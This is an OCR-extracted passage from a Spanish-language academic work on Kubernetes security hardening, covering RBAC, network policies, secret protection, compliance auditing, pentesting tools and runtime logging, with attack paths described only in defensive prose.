otras organizaciones) hace algunos afios detectado por el CIS, donde el vector de acceso
inicial fueron una gran cantidad de consolas administrativas expuestas a internet sin
ninguna proteccion por contrasefia [187].

En estas consolas, estaban expuestas las credenciales de acceso de estas organizaciones
a entornos como AWS y Microsoft Azure. Tras una investigacion mas profunda, el equipo
determiné que los hackers se habian infiltrado secretamente en los entornos de la nube de
estas organizaciones para minar criptomonedas.

Las principales estrategias para la proteccion de estas consolas administrativas son:

e No exponer el Dashboard a internet sin mecanismos de autenticacién adicionales.

e Habilitar RBAC para limitar los privilegios de los usuarios (mediante el Service
Account) de manera que solo puedan administrar los recursos que necesiten. De
aqui se desprende el otorgar los privilegios minimos posibles al Service Account.

e Emplear politicas de red para limitar el acceso de pods al Dashboard.

Para mas detalles respecto al tema, se recomiendan [98], [133], [183].

7.4.6. Restringir el acceso al cloud-metadata-api

En el caso especifico de un Kubernetes administrado por el proveedor en la nube, un vector
de ataque a considerar es el acceso a las credenciales de la nube de la instancia. Las
plataformas en la nube (AWS, Azure, GCE, etc.) exponen con frecuencia servicios locales a
las instancias, los cuales pueden ser accedidos por los pods ejecutandose en dicho nodo
worker.

Dichas credenciales pueden ser usadas para escalar privilegios dentro del cluster u otros
servicios en la nube asociados a la misma cuenta. En estos casos se recomienda emplear
politicas de red para bloquear el acceso de los pods al AP/ de metadatos, ya sea a nivel de
namespace mediante plugins CNI avanzados como Calico.

Para mas detalles se recomienda consultar [134], [188].

7.5. Seqguridad de los workloads

A pesar de la gran complejidad del ecosistema de Kubernetes, como ya se ha comentado,
existen tres enfoques principales en los que centrarse para su seguridad:
e Securizar la infraestructura: en el idioma de Kubernetes, significa proteger los
componentes (kube-apiserver, kubelet, etc.).
e Securizar las aplicaciones: lo cual se traduce a proteger los recursos/objetos de
Kubernetes (deployments, pods, etc.).
e Securizar las comunicaciones de red: se entiende por la proteccién de las
comunicaciones de red en el cluster.
En esta seccion se abordara en detalle la seguridad a nivel de aplicacion, ya que en la
seccion anterior se hizo para la infraestructura, y la seguridad en la red se tendra en cuenta
en la siguiente seccion.



7.5.1. Evitar errores de configuracion

Como se ha explicado en el capitulo anterior, los recursos en Kubernetes pueden ser
descritos de manera declarativa (en YAML o JSON). Este mecanismo es conocido como
configuracion como cdodigo (o Configuration as Code (CaC)) o la infraestructura como
cadigo (laC).

El auge de estos procesos (CaC y laC) introducen nuevos riesgos y posibles errores en la
configuracion pudieran ocurrir debido a una definicion deficiente de estos recursos por el
usuario. Para prevenir dichas configuraciones erréneas, el mecanismo recomendado es el
analisis estatico de cédigo a los manifiestos de los recursos.

El andlisis estatico puede ser usado en el flujo de desarrollo (e.g. GitOps [189]) para
modelar el nivel cumplimiento con requerimientos de seguridad de una organizacion y nos
permite detectar errores como el uso de informacién sensible en un manifiesto YAML y a la
larga, ser usado para establecer una linea base para la seguridad en tiempo de ejecucion.
Existen diversas herramientas para realizar estos procesos de auditoria a los ficheros de
configuracion de los recursos de Kubernetes. A continuacién se abordan brevemente las
mas conocidas o aquellas que son mas relevantes para nuestro trabajo.

Checkov:
La herramienta Checkov ha sido abordada con anterioridad, por o que no se volveré a tratar
en este apartado.

Polaris:
Polaris (herramienta de Fairwinds) esta disefiada para ejecutar una variedad de controles
para asegurar que los pods y controladores estan configurados utilizando las buenas
practicas existentes, evitando problemas en el futuro.
Polaris puede ser ejecutada de tres modos diferentes:
e Dashboard: para poder inspeccionar de manera visual los elementos del cluster.
e Controlador de admisién: para poder rechazar workloads de manera automatica
cuando éstos no se ajusten a las politicas de la organizacion.
e Herramienta de linea de comandos: especialmente util para validar los ficheros de
configuracion YAML (e.g. como parte de un proceso CI/CD).
Para mas detalles respecto a Polaris, se recomiendan [190], [191].

kube-scan:

kube-scan es una herramienta open-source de Octarine que permite la ejecucién rapida y
facil de una evaluacion de riesgos de seguridad en los workloads para comprender de
manera instantanea la postura de seguridad de nuestro cluster.

kube-scan es un pod gue se ejecuta en nuestro cluster y escanea nuestros manifiestos y
configuraciones para brindar una puntuacién de seguridad a nuestros workloads a través de
una Ul web. Para cada workload, se obtiene una explicacién de los factores de riesgo y qué
configuraciones remedian o0 agravan los riesgos, asi como sus consecuencias.

Para més detalles, se recomiendan [192], [193].

7.5.2. Controlar privilegios de los workloads

Adicionalmente al analisis estatico de las configuraciones de los workloads, es necesario
controlar las capacidades de los workloads y usuarios en el cluster. Las aplicaciones de los



usuarios (i.e. workloads) constituyen un posible vector de ataque en caso de que éstas se
ejecuten con mas privilegios de los minimos necesarios. A continuacién se analizan las
distintas estrategias para evitar potenciales problemas de seguridad asociados:

Limitar el uso de recursos del cluster:

Un primer aspecto a considerar es la regulacion de los recursos (CPU, RAM, etc.) utilizados
por un workload.

Una primera medida es la limitacién de la cantidad o capacidad de los recursos permitidos
para un namespace mediante el concepto de resource quota (cuota de recursos) [21]. Es
comun que esta restriccion se refiera a la cantidad limite de CPU, RAM o disco persistente
asignables, pero también puede controlar la cantidad de pods, servicios o volumenes que
pueden existir en cada hamespace.

Por otra parte, el concepto de /imit ranges (rangos de limite) permite restringir el tamafio
maximo/minimo de los recursos anteriores. Esto permite prevenir que los usuarios reserven
cantidades excesivamente altas/bajas para estos recursos o especificar limites donde no
sSon necesarios.

Controlar los privilegios de ejecucién de los contenedores:

La definicion de un pod como recurso en un manifiesto en YAML contiene un contexto de
seguridad (Security Context [194]), el cual permite definir el privilegio y configuraciones de
control de acceso (ejecutarse con privilegios, tener acceso a la red del host, etc.) para un
pod o contenedor.

Los contenedores que se ejecutan con permisos de administracion (root) frecuentemente
tienen mas permisos que los necesarios en su workload, por lo que en caso de verse
comprometido, ésto ayudaria de manera considerable al atacante a escalar su ataque. Por
ello se recomienda la ejecucion sin permisos de administracion.

De manera complementaria al uso adecuado de un Security Context, se recomienda aplicar
politicas de seguridad para pods (Pod Security Policy (PSP)). PSP es un recurso a nivel de
cluster (también controlador de admisién) que permite controlar aspectos sensibles de
seguridad en la especificacion en YAML del pod.

PSP define un conjunto de condiciones que debe cumplir un pod para ser aceptado en el
sistema. A continuacion, se emplean reglas de RBAC para especificar qué PSP aplica a qué
pods. Una distincidon importante es que mientras que un Security Context dicta al kubelet y
el CRI como debe ejecutarse un pod, PSP solo limita (0 especifica valor por defecto) los
valores que pueden ser configurados en un Security Context.

Es importante destacar que PSP esta descontinuado a partir de Kubernetes v1.21 y se
eliminara en v1.25 [195]. No obstante, existen diversas alternativas para suplir su ausencia
que van desde su sucesor natural, los estandares de seguridad de pods (Pod Security
Standards (PSS)) hasta controladores de admisién basados en motores de politicas
externos como Kyverno [196] y OPA/Gatekeeper.

7.5.3. Buenas practicas

Con anterioridad hemos visto las dos vertientes principales a tener en cuenta en lo que
respecta a la seguridad de los workloads. No obstante, existen algunas estrategias y
controles complementarios que abordamos con brevedad a continuacion.

Un primer aspecto es la desestimacion del uso de pods no vinculados a un ReplicaSet,
Deployment o Job siempre que sea posible. Los controladores asociados a estos recursos



de alto nivel estan encargados de la disponibilidad de la cantidad especificada de pods,
mientras que un pod no vinculado puede eliminarse al haber problemas en el nodo y no
sera re-programado.

En el caso de los servicios, se recomienda crearlos antes que sus workloads de backend
correspondientes (Deployments o ReplicaSets) y antes que otros workloads que lo
necesiten. Esto es debido a que cuando Kubernetes inicia un contenedor, le da acceso a
variables de entorno que apuntan a todos los servicios existentes.

7.6. Seguridad de la red

En secciones anteriores, se ha detallado como proteger el cluster a nivel de infraestructura y
de aplicacién, pero queda pendiente la proteccion a nivel de red. En esta seccion
centraremos la atencién en la seguridad de la red, asi como las estrategias y controles para
evitar incidentes de seguridad producto de deficiencias en la configuracién. Existen dos
enfoques claves a considerar:

e . CoOmo proteger el cluster de ataques externos?

e Cdbmo proteger activos externos de ataques desde elementos comprometidos en el

cluster?

Ambos enfoques se aplican tanto a nivel de infraestructura (plano de control y plano de
datos), como a nivel de workloads (pods, etc.). Las estrategias y controles de seguridad
aplicables a cada uno de estos escenarios se comentaran a continuacion.

7.6.1. Comunicaciones en el cluster

Con anterioridad se abordaron los mecanismos y controles apropiados para proteger al
cluster desde accesos en redes no confiables pero, ¢como garantizar la seguridad de las
comunicaciones entre los componentes del cluster, nodos y workloads?.
Las comunicaciones en un cluster de Kubernetes pueden agruparse en dos:

e nodo worker - plano de control,

e plano de control - nodos worker.
Ambos escenarios se analizan con mayor profundidad a continuaciéon y se ofrecen las
recomendaciones pertinentes, las cuales pueden observarse y quedan resumidas en la

Figura 12.

nodo worker - plano de control:

Todo el trafico hacia el plano de control por parte de un nodo (o0 sus pods) termina en el
kube-apiserver. No existe ningun otro componente del plano de control que haya sido
diseflado para exponer servicios remotos. Por su parte, kube-apiserver esta configurado
para recibir conexiones remotas por un puerto seguro via HTTPS (tipicamente 443).

Se recomienda que al menos un mecanismo de autorizacién (AuthZ) esté habilitado,
especialmente si mecanismos de autenticaciéon (AuthN) como autenticacion anénima o
tokens de Service Accounts estan permitidos.



E Authentication

E Integrity

3 Encryption
Communications in your cluster - summary .
From To Default What you should do Options
API| server kubelet E/ E) Eﬂ --kubelet-certificate-authority E/ E) Eﬂ
API server nodes, pods, services E’ E’ Eﬂ Specify HTTPs endpoint E’ E Eﬁ
kubelet API server Ex E; E} Use Node Authorizer
nodes, pods, services API server E/ E; D
API server eted E/ E’ Eﬂ --etcd-certfile, --etcd-keyfile E/ E’ Eﬂ
Local connection
eted API server E/ E’ Eﬂ
eted eted E’ E’ Eﬂ
Admin API server Don't allow anonymous authentication E’ Eﬂ

Figura 12. Listado de todas las comunicaciones en un cluster de Kubernetes.
(Fuente: cloudsecdocs.com)

Durante el proceso de configuracibn de los nodos, se debe proporcionar el certificado
publico de root del cluster para que puedan establecer conexion con el kube-apiserver
usando credenciales validas. Por su parte, los pods que necesiten conectarse de manera
segura con kube-apiserver lo hardn mediante el Service Account (certificado publico de root
+ bearer token) inyectado en el pod cuando éste es creado.

Como puede observarse, las configuraciones por defecto permiten que las conexiones
desde los nodos y pods al plano de control sean seguras y puedan hacerse a través de
redes publicas o no fiables.

plano de control . nodo worker:
Existen dos escenarios donde se establece la comunicacion desde el plano de control
(kube-apiserver) a los nodos:

e Desde el kube-apiserver al kubelet que se ejecuta en cada nodo.

e Desde el kube-apiserver a cualquier nodo, pod o servicio usando la funcionalidad de

proxy (kubectl proxy).

Las conexiones del kube-apiserver al kubelet son comunes para la interaccion con pods y
servicios (obtener logs de los pods, port-forwarding, etc.), terminando en el endpoint de
HTTPS del kubelet. kube-apiserver no verifica el certificado del kubelet, lo cual hace a la
comunicacion susceptible a ataques de Man-in-the-Middle (MitM) y es insegura para su uso
en redes no fiables o pulblicas. Para verificar la conexion, se recomienda el uso del flag
--kubelet-certificate-authority para dotar al kube-apiserver de un certificado root y
poder verificar el certificado del kubelet. Finalmente, se deberia habilitar la autenticacion
(AuthN) y autorizacién (AuthZ) del kubelet para protegerlo.
Las conexiones del kube-apiserver a un nodo, pod o servicio son mediante HTTP (texto
plano), por lo que estas conexiones no estan autenticadas ni encriptadas. Si se especifica el
prefijo https://, pueden realizarse mediante HTTPS, pero no se validara el certificado
proporcionado por el endpoint en HTTPS ni las credenciales del clientes. Por tanto, aunque
la conexion esté cifrada, no habra garantia de integridad y no son aptas para redes no



fiables o publicas. Es importante recordar que la funcionalidad kubectl proxy es para uso
en desarrollo y estos mecanismos no deberian usarse en produccion.

7.6.2. Politicas de Red

Por defecto, Kubernetes no restringe el trafico entre pods siendo ejecutados en el cluster,
por lo que cualquier pod puede conectarse a cualquier otro pod ya que no hay “firewalls”
controlando el tréfico intra-cluster. Las aplicaciones pueden (potencialmente) comunicarse
con servicios externos (trafico saliente/egress), asi como con cualquier otra aplicacion
corriendo en el cluster (trafico este-oeste).

Como se ha mencionado en capitulos anteriores, las politicas de red son el mecanismo
fundamental para proteger el trafico de red en Kubernetes. Permiten que se pueda restringir
el trafico de red en el cluster con gran facilidad de manera que solo se permita aquel trafico
que estéa definido a nivel de logica de negocio.

Previo a la existencia de las politicas de red, la seguridad en la red era posible debido a
complejos disefios de topologias de redes dispositivos fisicos (switches, routers, firewalls) y
sus configuraciones asociadas. Con el surgimiento de la nube, la seguridad en la red se
garantizé de manera analoga mediante la virtualizacién de la red y los dispositivos. A pesar
de ello, para afadir nuevas aplicaciones o servicios y mantener la seguridad, se requiere en
muchos casos, realizar modificaciones al disefio de la topologia y/o la configuracién de los
dispositivos.

A diferencia de esto, el modelo de red Kubernetes define una red “plana” en la cual un pod
puede comunicarse directamente con cualquier otro pod en el cluster. Bajo este modelo, la
seguridad en la red no tiene que ser definida por una topologia, sino que se logra mediante
las politicas de red. Mas aun, estas politicas pueden ser abstraidas de la red fisica
(direcciones IP, etc.) mediante el uso de selectores para identificar los workloads a los que
aplica una politica determinada.

La aplicacion de las politicas de red puede interpretarse como que cada pod esta siendo
protegido por su propio firewall virtual dedicado, el cual puede configurarse y actualizarse de
manera automatica en tiempo real en funcién de la politica definida (ver Figura 13. Fuente:
[134] pag. 29).

Kubernetes
e - - - =~ ~
e !-----I Kubernetes ,-----‘-------,
Pod A 4—! Firewall ! Pod Firewall —— Pod B

Figura 13. Rol de las politicas de red en la comunicacién entre pods.



Securizando el trafico este-oeste (pod a pod):

Como se ha comentado antes, los pods no estan aislados por defecto y por tanto aceptan
trafico desde cualquier fuente. Si existe una politica de red que aplica a un pod (i.e., que
seleccione al pod), entonces éste rechazara cualquier conexion que no esté contemplada
por esta politica. Aquellos pods que no estén regulados por ninguna politica continuaran
aceptando todo el trafico que los involucre.

Las politicas de red son aditivas y no entran en conflicto entre ellas. Las reglas que aplican
a un pod que es objeto de varias politicas es la union de las reglas de dichas politicas. Para
gue el trafico entre dos pods sea permitido, tanto la politica de salida (egress) del pod de
origen como la politica de entrada (ingress) del pod de destino deben ser satisfechas. Si
alguna de ellas deniega el tréfico, la comunicacion no sera establecida (ver Figura 13).

En el contexto de la proteccion del trafico este-oeste que hemos comentado antes, existen
algunas recomendaciones generales para las politicas de red entre las que destacan la
restriccion del trafico dentro del propio namespace y afadir restricciones basadas en la
I6gica del negocio.

Para més detalles respecto al tema se recomiendan [38], [197].

Securizando el trafico norte-sur (perimetral o edge):

En muchos escenarios reales (e.g. entornos bancarios) el trafico norte-sur o perimetral esta
bastante regulado por razones comprensibles. Como es de esperar, la proteccion del trafico
de red en estos escenarios es clave. El trafico perimetral concierne fundamentalmente a dos
areas: el trafico de entrada (ingress) y el de salida (egress).

Kubernetes gestiona el trafico entrante al cluster mediante el recurso Ingress detallado con
anterioridad. No obstante, las politicas de red no fueron disefiadas para recursos que no
sean los pods, por lo que no son directamente aplicables en este escenario [198]. En estos
casos, es necesario recurrir a otros componentes explicitamente disefiados para servir y
proteger el tréfico entrante: los APl Gateways [199] y las mallas de servicios.

En el caso del trafico de salida (conexiones de los pods hacia fuera del cluster) no existe un
recurso como Ingress para gestionar el trafico. El control del trafico a nivel de red esta
determinado por la implementacién de red subyacente (i.e. el plugin CNI) del cluster que da
soporte a las politicas de red.

Como se explico, el control del trafico saliente se ejerce mediante las politicas de red al
definir reglas de egress para cada microservicio. Sin embargo, existe una limitacion en las
reglas de estas politicas (capa L3-L4) y es que los recursos externos involucrados son
especificados por su direcciéon IP. En caso de que estas direcciones IP cambien, seria
necesario actualizar las politicas con los nuevos IPs.

Las deficiencias anteriores pueden ser eludidas usando funcionalidades avanzadas de los
plugins CNI (e.g. Calico Network Sets [200] o Calico Enterprise) o mecanismos mas
avanzados como los gateways de salida (egress gateway) comunmente presentes en las
mallas de servicios.

Buenas practicas:

Las politicas de red constituyen una herramienta clave para materializar algunos de los
principios de seguridad en Kubernetes; especificamente las redes de confianza cero. De
manera general, la recomendacién al momento de aplicar estas politicas es aplicar reglas
restrictivas a todos los workloads y para luego permitir solamente aquel trafico necesario
desde el punto de vista de la légica del negocio (whitelisting).



Ejemplos de buenas practicas de configuracién se pueden encontrar en [201], y mas
detalles sobre el tema se pueden encontrar en [202].

Limitaciones:
Existen ciertas funcionalidades que las politicas de red no estan todavia preparadas para
resolver, las que deben ser resueltas a través de soluciones alternativas como componentes
del sistema operativo (SELinux, IPTables, etc.) o tecnologias a nivel de capa L7 (mallas de
servicios, APl Gateways, etc.) [38]. Algunas de estas son:
e Forzar el trafico interno del cluster por un gateway comun (quizas una malla de
servicios es lo mas adecuado).
e Control de tréfico relacionado con TLS (una malla de servicios o controlador de
ingress serian adecuados).
e Aplicar politicas a servicios basados en el nombre (sin embargo, pueden ser
aplicadas a pods 0 namespaces).
Para resolver dichos problemas, las mallas de servicio parecen ser un candidato mas que
apropiado. En un capitulo posterior seran abordadas en mas detalle.

7.7. Minimo acceso mediante RBAC

Como se comentd en el capitulo anterior uno de los principios de seguridad que sustentan
la base de los estandares de seguridad es el principio de privilegio minimo (principle of least
privilege). En el contexto de Kubernetes, RBAC constituye el mecanismo ideal para la
instrumentacion de dicho principio.

Como se comentd antes, RBAC es un mecanismo para regular el acceso a los recursos de
cémputo o de red basado en roles de usuarios en la organizacion. De esta manera, los
administradores pueden controlar quién puede realizar acciones sensibles como crear pods,
leer Secrets, eliminar servicios y mas.

authorization.kBs.io/vl

rolebinding
ult

authorization.kBs.io
: rbac.authorization

default

: pod-reader

Figura 14. Partes de RBAC expresadas en manifiestos YAML. (Fuente: cyberark.com)



Los permisos de RBAC se componen de tres partes individuales (ver Figura 14):

e Role/ClusterRole: El permiso en si, que contiene reglas que definen a los permisos.
Cada regla asocia recursos (pod, service, secret, etc.) y verbos (create, delete, list,
etc.), donde el verbo es la accién permitida sobre ese recurso.

e Subject (usuario, grupo o un ServiceAccount). El objeto al que se otorgan los
permisos.

e RoleBinding/ClusterRoleBinding: Representa la asociacion entre la parte del
Role/ClusterRole y el Subject.

Conformar un permiso de RBAC de estas tres partes resulta bastante complejo. Mientras
mas granularidad a nivel de Role/ClusterRole se tiene una mayor seguridad, pero por otra
parte mucho mas esfuerzo para administrar. Por otra parte, mas concesiones implican un
potencial acceso innecesario, pero son mas faciles de administrar. La cantidad de posibles
asociaciones entre las tres partes es abrumadora, por lo que la cantidad de cadenas de
ataque es considerable (ver Figura 15).

RoleBinding\
ClusterRoleBinding Role\ClusterRole

Subjects

Figura 15. Posibles asociaciones entre objetos de RBAC. (Fuente: cyberark.com)

Se considera un permiso “de riesgo” a aquel que permita a un atacante escalar privilegios
en el cluster y que como consecuencia, le permita comprometer el cluster. Algunos de los
ejemplos de permisos “de riesgo” mas notables son [203]:

e Listado de Secrets: el permiso de listado de Secrets afecta gravemente la
seguridad del cluster, ya que el atacante pudiese acceder a credenciales de alguna
aplicacion, llaves SSH o tokens de usuarios con mas privilegios.

e Creacién de pods con una ServiceAccount privilegiada: si un atacante conoce el
nombre de una ServiceAccount privilegiada, puede usarla para un escalado de
privilegios. El atacante puede crear un pod donde se monte dicha ServiceAccounty
obtener los Secrets y tokens privilegiados.



e Suplantacidon de cuentas privilegiadas: un usuario con este privilegio es capaz de
utilizar los privilegios de otra cuenta para acciones como el listado de Secrets, entre
otras.

e Creacidén de RoleBindings privilegiados: en caso de que un atacante pueda crear
un RoleBinding con el ClusterRole de admin (rol predeterminado privilegiado), es
capaz de afiadir cualquier usuario (incluso a si mismo) a este ClusterRole.

Para mas detalles, se recomienda consultar [169], [203].

Buenas practicas:

Partiendo de los propios permisos “de riesgo” es posible definir algunas buenas practicas en
el uso de RBAC, las cuales pueden consultarse en [203]. No obstante, buenas préacticas de
seguridad adicionales se comentan a continuacién.

Un primer aspecto es emplear herramientas especialmente disefiadas para mitigar posibles
deficiencias en los permisos de RBAC de nuestro cluster como KubiScan [204]. También se
recomienda utilizar buenas configuraciones de RBAC en nuestro cluster, las cuales pueden
ser extraidas de los registros de auditoria (Audit Logs) mediante la herramienta audit2rbac
[205].

Las politicas excesivas de RBAC constituyen una amenaza de seguridad en el caso de que
un pod sea comprometido. Por ello, se recomienda la revisiébn y mejora continua de las
reglas de RBAC para mantener el principio de privilegio minimo. Para lograrlo, se
recomienda habilitar los registros de auditoria [180] para garantizar la observabilidad sobre
potenciales incidencias de seguridad.

7.8. Proteccion de los Secrets

Como se ha mencionado con anterioridad, los datos sensibles en Kubernetes (credenciales,
tokens, etc.) son almacenados en Secrets. Los Secrets son un elemento clave en el
funcionamiento de los sistemas en producciéon y por tanto, la exposicion de esos Secrets
pone en grave riesgo a esos sistemas.

Cifrado de secretos en reposo:

Kubernetes puede ser configurado para cifrar los datos sensibles que son almacenados en
etcd. De esta manera, los Secrets estarian protegidos en caso de que un atacante gane
acceso a etcd o a una copia de seguridad del mismo.

Por defecto, Kubernetes no cifra los Secrets en reposo (i.e. etcd) y cuando se habilita el
cifrado, solo se cifra un Secret cuando es escrito en etcd. Por tanto, cuando se habilita esta
funcionalidad de cifrado, es importante reescribir todos los Secrets para que el cifrado sea
realmente aplicado.

Kubernetes soporta una variedad de proveedores de cifrado, por lo que es importante la
seleccién de un proveedor recomendado basado en buenas practicas. No obstante, este
enfoque de un proveedor local presenta deficiencias de seguridad. Tanto la llave utilizada
para el cifrado como la configuracion del proveedor son almacenadas en el disco local
donde se encuentra el kube-apiserver. Esto representa un problema en caso de que el host
qgue alberga al kube-apiserver se vea comprometido, pues todos los Secrets se verian
expuestos. Otras deficiencias se abordan en [206].

Por estas razones, muchos operadores optan por una segunda variante: el uso de un
servicio externo de gestion de claves o Key Management Service (KMS) para la gestion
segura de las claves.



Un proveedor KMS externo constituye tanto un almacenamiento centralizado, como un
mecanismo robusto para el cifrado y garantia de acceso a los Secrets. Estas herramientas
soportan Kubernetes aunque no fueron creados para workloads basados en contenedores.
Estas soluciones se agrupan en dos grandes categorias:

e Herramientas open-source: garantizan la administracién y proteccién de datos y
secretos. Algunas como HashiCorp Vault [207] incluyen funcionalidades avanzadas
como secretos dinamicos, revocacion de secretos, entre otras. Otras opciones son
CyberArk (cuya version open-source es Conjur [208]) y Confidant [209].

e Herramientas de proveedores en la nube: contribuyen al cifrado de Secrets en los
entornos de la nube, donde éstos son rotados automaticamente, son accedidos
mediante politicas de control y se realizan auditorias centralizadas. Ejemplos de
éstas soluciones son AWS Secrets Manager, Google Cloud Platform KMS y Azure
Key Vault.

A pesar de las ventajas que ofrece un proveedor KMS, al no estar originalmente para un
entorno de contenedores, existen algunas limitaciones en su capacidad de administrar y
monitorear los secretos. Algunas de estas limitaciones son [206]:

e Controlar qué contenedores acceden a qué secretos: los Secrets solo deberian
ser accesibles por contenedores que realmente los necesitan.

e Recuperar secretos de la boveda solo cuando se necesite: los Secrets solo
deben ser transmitidos cuando el contenedor apropiado se ejecute y no antes.

e Almacenamiento seguro de secretos en el contenedor: los Secrets solo deberian
almacenarse en memoria y deberian desaparecer una vez terminado el contenedor.

e Envio de secretos actualizados al contenedor: los proveedores KMS permiten la
rotacion de los Secrets, pero no pueden actualizar los contenedores afectados por
estos cambios.

Ante esto, la recomendacion es el uso de plataformas de seguridad nativas en la nube que
protegen las aplicaciones serverless y basadas en contenedores. Entre los ejemplos a
destacar se encuentran Aqua Security y Prisma Cloud (antiguamente Twistlock). Dichas
plataformas son potentes y complejas, por lo que su andlisis se sale del ambito de este
trabajo. Para mas detalles al respecto, se recomiendan las lecturas [134], [206].

7.9. Auditoria y gestion de riesgos (blue team)

Un aspecto importante en la seguridad son las acciones destinadas a la auditoria, analisis y
gestion de riesgos (i.e. estrategias de blue team). A continuacién se abordan algunas de las
estrategias que puede llevar a cabo el equipo de seguridad de una organizacion.

En primera instancia, se recomienda la evaluacion del cumplimiento con buenas practicas
establecidas en la literatura. Para ello, se propone la evaluacién del cumplimiento y la
conformidad con la guia de benchmarks para Kubernetes del CIS [210].

CIS mantiene una serie de guias gratuitas y accesibles en PDF para diversas tecnologias,
entre ellas Kubernetes. Asociadas a estas guias existen herramientas como kube-bench (de
Aqua) y kubernetes-cis-benchmark (de Neuvector) disefiadas para la ejecucion automatica
de todos los controles de la guia de CIS para Kubernetes.

Otra recomendacion es el uso de herramientas como Polaris y kube-scan (abordadas
anteriormente) destinadas a la evaluacién del cumplimiento con las buenas préacticas a nivel
de workloads en el cluster. Estas herramientas poseen funcionalidades bastante utiles como
el calculo de un indicador de riesgo, asi como una interfaz visual (i.e. Dashboard) que
facilita a los equipos de seguridad el monitoreo de estos activos.



7.10. Pentesting (red team)

De manera complementaria a las acciones mencionadas en la seccidn anterior (blue team),
otra opcion para validar la correcta configuracion del cluster es el pentesting (red team),
donde las pruebas realizadas exploran el cluster desde la perspectiva de un atacante.
Andlogamente a las estrategias de pentesting clasico, existen dos vertientes en las que se
contemplan estas auditorias de tipo read team: las auditorias internas y las auditorias
externas. A continuacion se abordan en mas detalles cada uno de estos enfoques.

Auditorias externas:

Uno de los objetivos principales de una plataforma como Kubernetes es la orquestacion de
contenedores y la exposicion de servicios a internet. Por este motivo, es inevitable que se
exponga al exterior parte de su superficie de ataque (i.e. su componentes). De hecho, en la
seccion anterior de limitar el acceso externo al cluster se detalla dicha superficie.

Estas auditorias (0 pentesting) estdn basadas en estrategias reconocidas en las fases
tradicionales de un pentesting como el uso de Shodan y Google dorks en la etapa de
footprinting pasivo, el escaneo de puertos y el banner grabbing en la etapa de footprinting
activo. De manera general, las herramientas empleadas en este tipo de auditorias son las
mismas que en el pentesting tradicional.

Auditorias internas:

Las auditorias internas en Kubernetes consisten de pruebas de penetracién en escenarios
donde el actor es usuario malicioso que representan una amenaza interna o un atacante
gue ha ganado acceso interno a la infraestructura del cluster explotando alguna
vulnerabilidad existente.

Debido a la arquitectura interna muy particular de Kubernetes, en este caso vale la pena
considerar la herramienta open-source de pentesting kube-hunter, la cual fue disefiada
especificamente para Kubernetes. Otra herramienta open-source enfocada en Kubernetes
es Peirates® [211], [212], la cual permite automatizar técnicas conocidas como el escalado
de privilegios, obtencion de ServiceAccounts, lograr la ejecucion de codigo arbitrario, entre
otras.

No obstante, en escenarios reales lo mas comuln es que las organizaciones contraten los
servicios de un personal de pentesting especializado (individuo o compafiia) para sondear el
software o plataforma en cuestion. Un especialista usara enfoques creativos para encontrar
puntos débiles en la configuracién y/o las aplicaciones que una herramienta no es capaz de
detectar, por lo cual es la variante recomendada.

Existen algunos trabajos en la literatura destinados a la propuesta y evaluacion de una
metodologia de pentesting para Kubernetes [213], pero un andlisis mas profundo de este
tema se escapa del contexto de este trabajo.

Para profundizar con un mayor detalle en las estrategias que podria emplear un pentester
en el contexto de Kubernetes, se recomiendan [214]-[216].

1 |mportante resaltar que Peirates esta disefiada para escenarios mas avanzados que kube-hunter.



8. Seguridad en tiempo de ejecucion

En el capitulo anterior se han abordado las principales estrategias, medidas, controles y
buenas practicas de seguridad para reducir la gran superficie de ataque de Kubernetes. No
obstante, todos los esfuerzos para garantizar la seguridad del cluster estan disefiados para
ser aplicables durante el proceso de instalacion y configuracién del cluster previo a un
estado de produccion. Pero, ¢qué hacer ante una amenaza o incidente durante la
explotacion del cluster (i.e. en produccién)?.

A pesar de realizar todas las acciones recomendadas por buenas practicas de seguridad
para securizar el cluster de modo preventivo (i.e. hardening), esto no es suficiente. En
escenarios reales, los equipos de seguridad deben asumir una postura proactiva para poder
garantizar la seguridad del cluster en tiempo de ejecucion.

El propésito fundamental de este capitulo es el de sintetizar las buenas practicas existentes
en la literatura para la gestionar la seguridad en tiempo de ejecucion (i.e. tiempo real) en
Kubernetes.

8.1. Observabilidad

Uno de los factores que contribuyen considerablemente a la toma de una postura proactiva
para la protecciéon de cualquier sistema es la observabilidad. Los mecanismos y estrategias
de observabilidad ayudan a la comprension de las interioridades de nuestros sistemas en
produccion (especialmente los sistemas complejos).

La aplicacién de la observabilidad es un tema bastante amplio debido a la gran cantidad de
partes méviles de los sistemas complejos. Algunas de las inquietudes que pueden ser
aclaradas por una solucion efectiva de observabilidad son: ¢qué sali6 mal durante este
lanzamiento?, ¢qué registros deberiamos mirar ahora mismo?, ¢cuédl es la causa mas
probable que contribuye a la alta latencia ahora?, entre muchas otras.

La observabilidad esta sustentada por tres grandes pilares: los registros (logs), las métricas
(metrics) y las trazas (traces). A continuacién se abordan con mayor profundidad cada uno
de estos pilares y como pueden ser puestos en practica de manera efectiva en un cluster de
Kubernetes.

Para mas detalles generales sobre la teméatica de la observabilidad, se recomiendan [217],
[218].

8.1.1. Reqistros (o logging)

Como se ha visto anteriormente, Kubernetes estd conformado por diversos componentes
que se comunican entre si, lo cual permite un alto nivel de flexibilidad, pero afiade nuevos
retos en la operacion de dichos sistemas. Uno de estos retos es la observabilidad y, en
particular, el almacenamiento de registros (o /ogs).

Un log de eventos es un registro de eventos discretos inmutables y con sello de tiempo
(timestamp) asociado que han ocurrido con el paso del tiempo. Estos son especialmente
utiles para revelar comportamientos de interés exhibidos por componentes de un sistema
distribuido. Por otro lado, las trazas (traces) y métricas (metrics) representan abstracciones
construidas sobre los logs generando informacion en dos areas independientes: la primera
enfocada en el sistema (métricas) y la otra enfocada en las peticiones (trazas). Estas areas
seran abordadas en mas detalle mas adelante.



8.1.1.1. Logs de contenedores, nodos y cluster

El proceso de generacion y procesamiento de logs en Kubernetes es mas complejo que en
otros escenarios debido a la gran complejidad del sistema. Los distintos componentes que
conforman el cluster constan de soluciones diferentes para el registro de eventos, las cuales
pueden ser necesarias para comprender la serie de eventos que han causado un incidente.

Logging a nivel de contenedores:

La primera fuente de logs que pueden ser recopilados en nuestro cluster son aquellos
generados por nuestras aplicaciones desplegadas en contenedores. Estos logs contribuyen
a entender que esta ocurriendo en la aplicacién y la forma mas facil de crear estos registros
en los contenedores es escribir directamente a la salida estandar (stdout) y la salida de
errores (stderr).

En caso de necesitar la persistencia de estos logs, un patrén comun es escribirlos a un
fichero en un volumen compartido con un contenedor sidecar encargado de procesar estos
logs de manera separada. Desde la perspectiva de un operador del cluster, estos logs
pueden obtenerse mediante el comando kubectl logs.

Logging a nivel de nodos:

